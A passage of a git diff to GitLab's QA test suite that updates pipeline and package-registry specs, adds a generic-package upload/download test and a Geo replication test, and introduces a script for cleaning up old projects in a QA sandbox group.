@@ -81,12 +78,6 @@ module QA
end
end
- def view_the_last_pipeline
- Page::Project::Menu.perform(&:click_ci_cd_pipelines)
- Page::Project::Pipeline::Index.perform(&:wait_for_latest_pipeline_success)
- Page::Project::Pipeline::Index.perform(&:click_on_latest_pipeline)
- end
-
def main_ci_file
{
file_path: '.gitlab-ci.yml',
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
index eafe28c1ee6..519777b32d9 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
@@ -3,9 +3,8 @@
require 'faker'
module QA
- RSpec.describe 'Verify', :runner, :requires_admin do
- describe "Pass dotenv variables to downstream via bridge" do
- let(:feature_flag) { :ci_bridge_dependency_variables }
+ RSpec.describe 'Verify', :runner do
+ describe 'Pass dotenv variables to downstream via bridge' do
let(:executor_1) { "qa-runner-#{Faker::Alphanumeric.alphanumeric(8)}" }
let(:executor_2) { "qa-runner-#{Faker::Alphanumeric.alphanumeric(8)}" }
@@ -38,16 +37,14 @@ module QA
end
before do
- Runtime::Feature.enable(feature_flag)
Flow::Login.sign_in
add_ci_file(downstream_project, downstream_ci_file)
add_ci_file(upstream_project, upstream_ci_file)
upstream_project.visit!
- Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'success')
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'succeeded')
end
after do
- Runtime::Feature.disable(feature_flag)
runner_1.remove_via_api!
runner_2.remove_via_api!
end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb
index b79bda108af..5f3ec3ec870 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Verify' do
- describe 'Run pipeline', only: { subdomain: :staging } do
+ describe 'Run pipeline' do
context 'with web only rule' do
let(:job_name) { 'test_job' }
let(:project) do
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
index 2f66ed697a3..c89cda73711 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
@@ -3,11 +3,8 @@
require 'faker'
module QA
- RSpec.describe 'Verify', :runner, :requires_admin do
- # [TODO]: Developer to remove :requires_admin once FF is removed in follow up issue
-
+ RSpec.describe 'Verify', :runner do
describe "Trigger child pipeline with 'when:manual'" do
- let(:feature_flag) { :ci_manual_bridges } # [TODO]: Developer to remove when feature flag is removed
let(:executor) { "qa-runner-#{Faker::Alphanumeric.alphanumeric(8)}" }
let(:project) do
@@ -25,15 +22,13 @@ module QA
end
before do
- Runtime::Feature.enable(feature_flag) # [TODO]: Developer to remove when feature flag is removed
Flow::Login.sign_in
add_ci_files
project.visit!
- Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'success')
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'succeeded')
end
after do
- Runtime::Feature.disable(feature_flag) # [TODO]: Developer to remove when feature flag is removed
runner.remove_via_api!
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
index 7783dba3fa7..be6f3b17ccd 100644
--- a/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
@@ -81,8 +81,7 @@ module QA
end
project.visit!
- Page::Project::Menu.perform(&:click_ci_cd_pipelines)
- Page::Project::Pipeline::Index.perform(&:click_on_latest_pipeline)
+ Flow::Pipeline.visit_latest_pipeline
Page::Project::Pipeline::Show.perform do |pipeline|
pipeline.click_job('publish')
@@ -112,7 +111,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
aggregate_failures 'package deletion' do
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).not_to have_package(package_name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
index 2b06ba8646f..ae0580ff51b 100644
--- a/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
@@ -31,7 +31,7 @@ module QA
runner.remove_via_api!
end
- it 'publishes a conan package and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1077' do
+ it 'publishes, installs, and deletes a Conan package', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1077' do
Flow::Login.sign_in
Resource::Repository::Commit.fabricate_via_api! do |commit|
@@ -43,13 +43,14 @@ module QA
<<~YAML
image: conanio/gcc7
- create_package:
+ test_package:
stage: deploy
script:
- "conan remote add gitlab #{gitlab_address_with_port}/api/v4/projects/#{project.id}/packages/conan"
- "conan new #{package_name}/0.1 -t"
- "conan create . mycompany/stable"
- "CONAN_LOGIN_USERNAME=ci_user CONAN_PASSWORD=${CI_JOB_TOKEN} conan upload #{package_name}/0.1@mycompany/stable --all --remote=gitlab"
+ - "conan install conantest/0.1@mycompany/stable --remote=gitlab"
tags:
- "runner-for-#{project.name}"
YAML
@@ -60,7 +61,7 @@ module QA
Flow::Pipeline.visit_latest_pipeline
Page::Project::Pipeline::Show.perform do |pipeline|
- pipeline.click_job('create_package')
+ pipeline.click_job('test_package')
end
Page::Project::Job::Show.perform do |job|
@@ -80,7 +81,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).not_to have_package(package_name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
new file mode 100644
index 00000000000..9a0d832de09
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Package', :orchestrated, :packages do
+ describe 'Generic Repository' do
+ let(:package_name) { 'my_package' }
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'generic-package-project'
+ end
+ end
+
+ let!(:runner) do
+ Resource::Runner.fabricate! do |runner|
+ runner.name = "qa-runner-#{Time.now.to_i}"
+ runner.tags = ["runner-for-#{project.name}"]
+ runner.executor = :docker
+ runner.project = project
+ end
+ end
+
+ let(:gitlab_ci_yaml) do
+ <<~YAML
+ image: curlimages/curl:latest
+
+ stages:
+ - upload
+ - download
+
+ upload:
+ stage: upload
+ script:
+ - 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file file.txt ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt'
+ tags:
+ - "runner-for-#{project.name}"
+ download:
+ stage: download
+ script:
+ - 'wget --header="JOB-TOKEN: $CI_JOB_TOKEN" ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt -O file_downloaded.txt'
+ tags:
+ - "runner-for-#{project.name}"
+ YAML
+ end
+
+ let(:file_txt) do
+ <<~EOF
+ Hello, world!
+ EOF
+ end
+
+ before do
+ Flow::Login.sign_in
+
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ },
+ {
+ file_path: 'file.txt',
+ content: file_txt
+ }]
+ )
+ end
+
+ project.visit!
+ Flow::Pipeline.visit_latest_pipeline
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('upload')
+ end
+
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 800)
+
+ job.click_element(:pipeline_path)
+ end
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('download')
+ end
+
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 800)
+ end
+ end
+
+ after do
+ runner.remove_via_api!
+ end
+
+ it 'uploads a generic package, downloads and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1108' do
+ Page::Project::Menu.perform(&:click_packages_link)
+
+ Page::Project::Packages::Index.perform do |index|
+ expect(index).to have_package(package_name)
+ index.click_package(package_name)
+ end
+
+ Page::Project::Packages::Show.perform do |package|
+ package.click_delete
+ end
+
+ Page::Project::Packages::Index.perform do |index|
+ aggregate_failures 'package deletion' do
+ expect(index).to have_content("Package deleted successfully")
+ expect(index).to have_no_package(package_name)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
index e163fcbe574..552302addf9 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
@@ -54,7 +54,7 @@ module QA
script:
- 'gradle publish'
only:
- - master
+ - "#{project.default_branch}"
tags:
- "runner-for-#{project.name}"
YAML
@@ -118,7 +118,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).not_to have_package(package_name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
index 4ca356c9b65..5410b5023d9 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
@@ -96,7 +96,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).not_to have_package(package_name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
index 817e146adfe..fa88ace1556 100644
--- a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
@@ -69,7 +69,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).not_to have_package(package_name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
index 0b70adf9ff6..be806fcbb3e 100644
--- a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
@@ -51,7 +51,7 @@ module QA
- dotnet nuget add source "$CI_SERVER_URL/api/v4/projects/$CI_PROJECT_ID/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text
- dotnet nuget push "bin/Release/*.nupkg" --source gitlab
only:
- - master
+ - "#{project.default_branch}"
tags:
- "runner-for-#{project.name}"
YAML
@@ -84,7 +84,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).not_to have_package(package_name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
index 35c41bbb2b0..d5eca171d6c 100644
--- a/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
@@ -87,6 +87,7 @@ module QA
after do
runner.remove_via_api!
+ project&.remove_via_api!
end
it 'publishes a pypi package and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1087' do
@@ -104,7 +105,33 @@ module QA
Page::Project::Packages::Index.perform do |index|
aggregate_failures do
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).not_to have_package(package_name)
+ end
+ end
+ end
+
+ context 'Geo', :orchestrated, :geo do
+ it 'replicates a published pypi package to the Geo secondary site', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1120' do
+ QA::Runtime::Logger.debug('Visiting the secondary Geo site')
+
+ QA::Flow::Login.while_signed_in(address: :geo_secondary) do
+ EE::Page::Main::Banner.perform do |banner|
+ expect(banner).to have_secondary_read_only_banner
+ end
+
+ Page::Main::Menu.perform(&:go_to_projects)
+
+ Page::Dashboard::Projects.perform do |dashboard|
+ dashboard.wait_for_project_replication(project.name)
+ dashboard.go_to_project(project.name)
+ end
+
+ Page::Project::Menu.perform(&:click_packages_link)
+
+ Page::Project::Packages::Index.perform do |index|
+ index.wait_for_package_replication(package_name)
+ expect(index).to have_package(package_name)
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
index ec26e338b28..9ec05fcf5d3 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
@@ -27,7 +27,7 @@ module QA
it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/751' do
add_ci_files(success_child_ci_file)
- Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completion')
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
Page::Project::Pipeline::Show.perform do |parent_pipeline|
expect(parent_pipeline).to have_child_pipeline
@@ -37,7 +37,7 @@ module QA
it 'parent pipeline fails if child fails', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/752' do
add_ci_files(fail_child_ci_file)
- Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completion')
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
Page::Project::Pipeline::Show.perform do |parent_pipeline|
expect(parent_pipeline).to have_child_pipeline
diff --git a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
index d7f5a326b0e..ed8c8baae0e 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
@@ -27,7 +27,7 @@ module QA
it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/754' do
add_ci_files(success_child_ci_file)
- Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completion')
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
Page::Project::Pipeline::Show.perform do |parent_pipeline|
expect(parent_pipeline).to have_child_pipeline
@@ -37,7 +37,7 @@ module QA
it 'parent pipeline passes even if child fails', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/753' do
add_ci_files(fail_child_ci_file)
- Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completion')
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'completed')
Page::Project::Pipeline::Show.perform do |parent_pipeline|
expect(parent_pipeline).to have_child_pipeline
diff --git a/qa/qa/specs/features/sanity/version_spec.rb b/qa/qa/specs/features/sanity/version_spec.rb
index cace46c3590..e93a8a6fea1 100644
--- a/qa/qa/specs/features/sanity/version_spec.rb
+++ b/qa/qa/specs/features/sanity/version_spec.rb
@@ -7,7 +7,7 @@ module QA
# environment variable is the version actually running.
#
# See https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/1179
- RSpec.describe 'Version sanity check', :smoke do
+ RSpec.describe 'Version sanity check', :smoke, only: { pipeline: [:pre, :release] } do
let(:api_client) { Runtime::API::Client.new(:gitlab) }
let(:request) { Runtime::API::Request.new(api_client, '/version') }
diff --git a/qa/qa/specs/runner.rb b/qa/qa/specs/runner.rb
index afeddeaa5d5..9027f17678d 100644
--- a/qa/qa/specs/runner.rb
+++ b/qa/qa/specs/runner.rb
@@ -40,6 +40,8 @@ module QA
tags_for_rspec.push(%w[--tag ~orchestrated]) unless (%w[-t --tag] & options).any?
end
+ tags_for_rspec.push(%w[--tag ~geo]) unless QA::Runtime::Env.geo_environment?
+
tags_for_rspec.push(%w[--tag ~skip_signup_disabled]) if QA::Runtime::Env.signup_disabled?
tags_for_rspec.push(%w[--tag ~skip_live_env]) if QA::Runtime::Env.dot_com?
diff --git a/qa/qa/support/wait_for_requests.rb b/qa/qa/support/wait_for_requests.rb
index ebc473a7d86..5109f51d4d7 100644
--- a/qa/qa/support/wait_for_requests.rb
+++ b/qa/qa/support/wait_for_requests.rb
@@ -25,7 +25,7 @@ module QA
# https://gitlab.com/groups/gitlab-org/-/epics/956
# retry_on_exception added here due to `StaleElementReferenceError`. See: https://gitlab.com/gitlab-org/gitlab/-/issues/232485
Support::Retrier.retry_on_exception do
- Capybara.page.has_no_css?('.gl-spinner, .fa-spinner, .spinner', wait: wait)
+ Capybara.page.has_no_css?('.gl-spinner', wait: wait)
end
end
end
diff --git a/qa/qa/tools/delete_projects.rb b/qa/qa/tools/delete_projects.rb
new file mode 100644
index 00000000000..bb73033e9d7
--- /dev/null
+++ b/qa/qa/tools/delete_projects.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require_relative '../../qa'
+
+# This script deletes all projects directly under a group specified by ENV['TOP_LEVEL_GROUP_NAME']
+# Required environment variables: GITLAB_QA_ACCESS_TOKEN and GITLAB_ADDRESS
+# Optional environment variable: TOP_LEVEL_GROUP_NAME (defaults to 'gitlab-qa-sandbox-group')
+# Run `rake delete_projects`
+
+module QA
+ module Tools
+ class DeleteProjects
+ include Support::Api
+
+ def initialize
+ raise ArgumentError, "Please provide GITLAB_ADDRESS environment variable" unless ENV['GITLAB_ADDRESS']
+ raise ArgumentError, "Please provide GITLAB_QA_ACCESS_TOKEN environment variable" unless ENV['GITLAB_QA_ACCESS_TOKEN']
+
+ @api_client = Runtime::API::Client.new(ENV['GITLAB_ADDRESS'], personal_access_token: ENV['GITLAB_QA_ACCESS_TOKEN'])
+ end
+
+ def run
+ STDOUT.puts 'Running...'
+
+ # Fetch group's id
+ group_id = fetch_group_id
+
+ projects_head_response = head Runtime::API::Request.new(@api_client, "/groups/#{group_id}/projects", per_page: "100").url
+ total_project_pages = projects_head_response.headers[:x_total_pages]
+
+ # Do not delete projects that are less than 4 days old (for debugging purposes)
+ project_ids = fetch_project_ids(group_id, total_project_pages)
+ STDOUT.puts "Number of projects to be deleted: #{project_ids.length}"
+
+ delete_projects(project_ids) unless project_ids.empty?
+ STDOUT.puts "\nDone"
+ end
+
+ private
+
+ def delete_projects(project_ids)
+ STDOUT.puts "Deleting #{project_ids.length} projects..."
+ project_ids.each do |project_id|
+ delete_response = delete Runtime::API::Request.new(@api_client, "/projects/#{project_id}").url
+ dot_or_f = delete_response.code.between?(200, 300) ? "\e[32m.\e[0m" : "\e[31mF\e[0m"
+ print dot_or_f
+ end
+ end
+
+ def fetch_group_id
+ group_name = ENV['TOP_LEVEL_GROUP_NAME'] || 'gitlab-qa-sandbox-group'
+ group_search_response = get Runtime::API::Request.new(@api_client, "/groups/#{group_name}").url
+ JSON.parse(group_search_response.body)["id"]
+ end
+
+ def fetch_project_ids(group_id, total_project_pages)
+ projects_ids = []
+
+ total_project_pages.to_i.times do |page_no|
+ projects_response = get Runtime::API::Request.new(@api_client, "/groups/#{group_id}/projects", page: (page_no + 1).to_s, per_page: "100").url
+ projects_ids.concat(JSON.parse(projects_response.body).select { |project| Date.parse(project["created_at"]) < Date.today - 3 }.map { |project| project["id"] })
+ end
+
+ projects_ids.uniq
+ end
+ end
+ end
+end
diff --git a/qa/qa/tools/generate_perf_testdata.rb b/qa/qa/tools/generate_perf_testdata.rb
index e77678a1527..546f7e7cdca 100644
--- a/qa/qa/tools/generate_perf_testdata.rb
+++ b/qa/qa/tools/generate_perf_testdata.rb
@@ -95,20 +95,20 @@ module QA
def create_many_merge_requests
30.times do |i|
- create_a_merge_request_api_req("#{@group_name}%2F#{@project_name}", "branch#{i}", "master", "MR#{i}")
+ create_a_merge_request_api_req("#{@group_name}%2F#{@project_name}", "branch#{i}", Runtime::Env.default_branch, "MR#{i}")
end
@urls[:mr_list_page] = @urls[:project_page] + "/merge_requests"
STDOUT.puts "Created many MRs: #{@urls[:mr_list_page]}"
end
def create_many_new_files
- create_a_new_file_api_req("hello.txt", "master", "#{@group_name}%2F#{@project_name}", "hello", "my new content")
+ create_a_new_file_api_req("hello.txt", Runtime::Env.default_branch, "#{@group_name}%2F#{@project_name}", "hello", "my new content")
30.times do |i|
- create_a_new_file_api_req("hello#{i}.txt", "master", "#{@group_name}%2F#{@project_name}", "hello", "my new content")
+ create_a_new_file_api_req("hello#{i}.txt", Runtime::Env.default_branch, "#{@group_name}%2F#{@project_name}", "hello", "my new content")
create_a_new_file_api_req("hello#{i}.txt", "branch#{i}", "#{@group_name}%2F#{@project_name}", "hello", "my new content")
end
- @urls[:files_page] = @urls[:project_page] + "/tree/master"
+ @urls[:files_page] = @urls[:project_page] + "/tree/#{Runtime::Env.default_branch}"
STDOUT.puts "Added many new files: #{@urls[:files_page]}"
end
@@ -138,7 +138,7 @@ module QA
16.times do |i|
faker_line_arr = Faker::Lorem.sentences(1500)
content = faker_line_arr.join("\n\r")
- create_a_new_file_api_req("hello#{i + 100}.txt", "master", "#{@group_name}%2F#{@project_name}", "Add hello#{i + 100}.txt", content)
+ create_a_new_file_api_req("hello#{i + 100}.txt", Runtime::Env.default_branch, "#{@group_name}%2F#{@project_name}", "Add hello#{i + 100}.txt", content)
content_arr[i] = faker_line_arr
end
@@ -151,7 +151,7 @@ module QA
update_file_api_req("hello#{i + 100}.txt", "performance", "#{@group_name}%2F#{@project_name}", "Update hello#{i + 100}.txt", content)
end
- create_mr_response = create_a_merge_request_api_req("#{@group_name}%2F#{@project_name}", "performance", "master", "Large_MR")
+ create_mr_response = create_a_merge_request_api_req("#{@group_name}%2F#{@project_name}", "performance", Runtime::Env.default_branch, "Large_MR")
iid = JSON.parse(create_mr_response.body)["iid"]
diff_refs = JSON.parse(create_mr_response.body)["diff_refs"]
@@ -200,7 +200,7 @@ module QA
create_a_branch_api_req(branch_name, project_path)
create_a_new_file_api_req(file_name, branch_name, project_path, "Initial commit for new file", "Initial file content")
- create_mr_response = create_a_merge_request_api_req(project_path, branch_name, "master", "MR with many commits-#{SecureRandom.hex(8)}")
+ create_mr_response = create_a_merge_request_api_req(project_path, branch_name, Runtime::Env.default_branch, "MR with many commits-#{SecureRandom.hex(8)}")
@urls[:mr_with_many_commits] = JSON.parse(create_mr_response.body)["web_url"]
100.times do |i|
update_file_api_req(file_name, branch_name, project_path, Faker::Lorem.sentences(5).join(" "), Faker::Lorem.sentences(500).join("\n"))
@@ -268,7 +268,7 @@ module QA
def create_a_branch_api_req(branch_name, project_path_or_id)
call_api(expected_response_code: 201) do
- post Runtime::API::Request.new(@api_client, "/projects/#{project_path_or_id}/repository/branches").url, "branch=#{branch_name}&ref=master"
+ post Runtime::API::Request.new(@api_client, "/projects/#{project_path_or_id}/repository/branches").url, "branch=#{branch_name}&ref=#{Runtime::Env.default_branch}"
end
end
diff --git a/qa/spec/git/repository_spec.rb b/qa/spec/git/repository_spec.rb
index 02bb7783c28..77639c54b79 100644
--- a/qa/spec/git/repository_spec.rb
+++ b/qa/spec/git/repository_spec.rb
@@ -110,7 +110,7 @@ RSpec.describe QA::Git::Repository do
end
describe '#push_changes' do
- let(:branch) { 'master' }
+ let(:branch) { QA::Runtime::Env.default_branch }
let(:call_method) { repository.push_changes }
let(:command) { "git push #{repo_uri_with_credentials} #{branch}" }
diff --git a/qa/spec/resource/events/project_spec.rb b/qa/spec/resource/events/project_spec.rb
index 88d50749a0a..fa74e2c8477 100644
--- a/qa/spec/resource/events/project_spec.rb
+++ b/qa/spec/resource/events/project_spec.rb
@@ -6,6 +6,10 @@ RSpec.describe QA::Resource::Events::Project do
def api_get_path
'/foo'
end
+
+ def default_branch
+ 'master'
+ end
end
end
@@ -53,7 +57,7 @@ RSpec.describe QA::Resource::Events::Project do
end
describe "#wait_for_push_new_branch" do
- it 'waits for a push to master if no branch is given' do
+ it 'waits for a push to the default branch if no branch is given' do
expect(subject).to receive(:api_get_from).with('/foo/events?action=pushed')
expect { subject.wait_for_push_new_branch }.not_to raise_error
end
diff --git a/qa/spec/specs/helpers/quarantine_spec.rb b/qa/spec/specs/helpers/quarantine_spec.rb
index 41bc3eadff4..80fd65faeed 100644
--- a/qa/spec/specs/helpers/quarantine_spec.rb
+++ b/qa/spec/specs/helpers/quarantine_spec.rb
@@ -423,17 +423,17 @@ RSpec.describe QA::Specs::Helpers::Quarantine do
end
end
- context 'when a pipeline triggered from master runs in gitlab-qa' do
+ context 'when a pipeline triggered from the default branch runs in gitlab-qa' do
before do
stub_env('CI_PROJECT_NAME', 'gitlab-qa')
described_class.configure_rspec
end
- it 'runs on master pipelines' do
+ it 'runs on default branch pipelines' do
group = describe_successfully do
it('runs on master pipeline given a single pipeline', only: { pipeline: :master } ) {}
it('runs in master given an array of pipelines', only: { pipeline: [:canary, :master] }) {}
- it('does not run in non-master pipelines', only: { pipeline: [:nightly, :not_nightly, :not_master] } ) {}
+ it('does not run in non-default pipelines', only: { pipeline: [:nightly, :not_nightly, :not_master] } ) {}
end
aggregate_failures do
diff --git a/qa/spec/specs/runner_spec.rb b/qa/spec/specs/runner_spec.rb
index 8171cfcb3e6..b11054f0bd9 100644
--- a/qa/spec/specs/runner_spec.rb
+++ b/qa/spec/specs/runner_spec.rb
@@ -3,9 +3,9 @@
require 'active_support/core_ext/hash'
RSpec.describe QA::Specs::Runner do
- shared_examples 'excludes orchestrated' do
- it 'excludes the orchestrated tag and includes default args' do
- expect_rspec_runner_arguments(['--tag', '~orchestrated', *described_class::DEFAULT_TEST_PATH_ARGS])
+ shared_examples 'excludes orchestrated and geo' do
+ it 'excludes the orchestrated and geo tags and includes default args' do
+ expect_rspec_runner_arguments(['--tag', '~orchestrated', '--tag', '~geo', *described_class::DEFAULT_TEST_PATH_ARGS])
subject.perform
end
@@ -18,13 +18,13 @@ RSpec.describe QA::Specs::Runner do
QA::Runtime::Scenario.define(:gitlab_address, "http://gitlab.test")
end
- it_behaves_like 'excludes orchestrated'
+ it_behaves_like 'excludes orchestrated and geo'
context 'when tty is set' do
subject { described_class.new.tap { |runner| runner.tty = true } }
it 'sets the `--tty` flag' do
- expect_rspec_runner_arguments(['--tty', '--tag', '~orchestrated', *described_class::DEFAULT_TEST_PATH_ARGS])
+ expect_rspec_runner_arguments(['--tty', '--tag', '~orchestrated', '--tag', '~geo', *described_class::DEFAULT_TEST_PATH_ARGS])
subject.perform
end
@@ -34,7 +34,7 @@ RSpec.describe QA::Specs::Runner do
subject { described_class.new.tap { |runner| runner.tags = %i[orchestrated github] } }
it 'focuses on the given tags' do
- expect_rspec_runner_arguments(['--tag', 'orchestrated', '--tag', 'github', *described_class::DEFAULT_TEST_PATH_ARGS])
+ expect_rspec_runner_arguments(['--tag', 'orchestrated', '--tag', 'github', '--tag', '~geo', *described_class::DEFAULT_TEST_PATH_ARGS])
subject.perform
end
@@ -44,7 +44,7 @@ RSpec.describe QA::Specs::Runner do
subject { described_class.new.tap { |runner| runner.options = %w[--tag smoke] } }
it 'focuses on the given tag without excluded the orchestrated tag' do
- expect_rspec_runner_arguments(['--tag', 'smoke', *described_class::DEFAULT_TEST_PATH_ARGS])
+ expect_rspec_runner_arguments(['--tag', '~geo', '--tag', 'smoke', *described_class::DEFAULT_TEST_PATH_ARGS])
subject.perform
end
@@ -53,8 +53,8 @@ RSpec.describe QA::Specs::Runner do
context 'when "qa/specs/features/foo" is set as options' do
subject { described_class.new.tap { |runner| runner.options = %w[qa/specs/features/foo] } }
- it 'passes the given tests path and excludes the orchestrated tag' do
- expect_rspec_runner_arguments(['--tag', '~orchestrated', 'qa/specs/features/foo'])
+ it 'passes the given tests path and excludes the orchestrated and geo tags' do
+ expect_rspec_runner_arguments(['--tag', '~orchestrated', '--tag', '~geo', 'qa/specs/features/foo'])
subject.perform
end
@@ -64,7 +64,7 @@ RSpec.describe QA::Specs::Runner do
subject { described_class.new.tap { |runner| runner.options = %w[--tag smoke qa/specs/features/foo] } }
it 'focuses on the given tag and includes the path without excluding the orchestrated tag' do
- expect_rspec_runner_arguments(['--tag', 'smoke', 'qa/specs/features/foo'])
